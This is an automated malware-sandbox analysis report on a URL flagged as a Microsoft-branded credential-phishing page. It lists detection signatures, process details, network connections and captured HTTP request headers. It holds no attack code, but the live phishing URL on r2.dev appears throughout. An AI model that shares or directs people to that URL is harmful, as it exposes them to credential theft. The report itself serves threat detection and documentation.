Edit tour

Windows Analysis Report
https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html

Overview

General Information

Sample URL:	https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html
Analysis ID:	1427104
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Found iframes

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Submit button contains javascript call

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2188,i,3570078562166595606,13269429034142598939,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Yara detected HtmlPhish10

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html

Matcher: Template: microsoft matched

Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1

HTTP Parser: Iframe src: https://fpt.live.com/?session_id=b58882512b7c40d78c42f4d88f1affac&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU&mkt=EN-US

Source: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html	HTTP Parser: Number of links: 0
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: Number of links: 0

Source: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html

HTTP Parser: Base64 decoded: ="component: { name: 'logo-control', params: { isChinaDc: svr.fIsChinaDc, bannerLogoUrl: bannerLogoUrl() } }"> <img class="logo" role="img" pngsrc="https://a...

HTTP Parser: Title: Create account does not match URL

Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: On click: OnBack(); return false;
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: On click: HOSTUI.evt_inlineBack_onclick();
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: On click: HOSTUI.evt_inlineBack_onclick();
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: On click: OnBack(); return false;
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: On click: HOSTUI.evt_inlineBack_onclick();
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: On click: HOSTUI.evt_inlineBack_onclick();

Source: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html

HTTP Parser: <input type="password" .../> found

Source: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html	HTTP Parser: No favicon
Source: https://fpt.live.com/?session_id=b58882512b7c40d78c42f4d88f1affac&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU&mkt=EN-US	HTTP Parser: No favicon

Source: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html	HTTP Parser: No <meta name="author".. found
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: No <meta name="author".. found
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: No <meta name="author".. found

Source: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: No <meta name="copyright".. found
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26mkt%3den-US%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26opid%3dFC1F5C313089A325%26opidt%3d1713310977%26uaid%3db58882512b7c40d78c42f4d88f1affac%26contextid%3d6D680E5CAD24554B%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-cf50c7252078&uaid=b58882512b7c40d78c42f4d88f1affac&suc=4345a7b9-9a63-4910-a426-35363201d503&lic=1	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.36.68.63:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.36.68.63:443 -> 192.168.2.4:49754 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.36.68.63
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_wixdbz3ubznoegxpcgkfog2.css HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/ellipsis_635a63d500a92a0b8497cdc58d0f66b1.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_yruqtyo0qslo70l4a-_ung2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/ellipsis_635a63d500a92a0b8497cdc58d0f66b1.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lwsignupstringscountrybirthdate_en-us_gdxUIqa3ijrOefuBnwhTKg2.js?v=1 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lightweightsignuppackage_I2u0h5_OVsvo48cPwiR07Q2.js?v=1 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1Host: acctcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/favicon.ico?v=2 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oneds_MC5gQfpbTUjLu60sQCwU1w2.js?v=1 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /datarequestpackage_h-_7C7UzwdefXJT9njDBTQ2.js HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
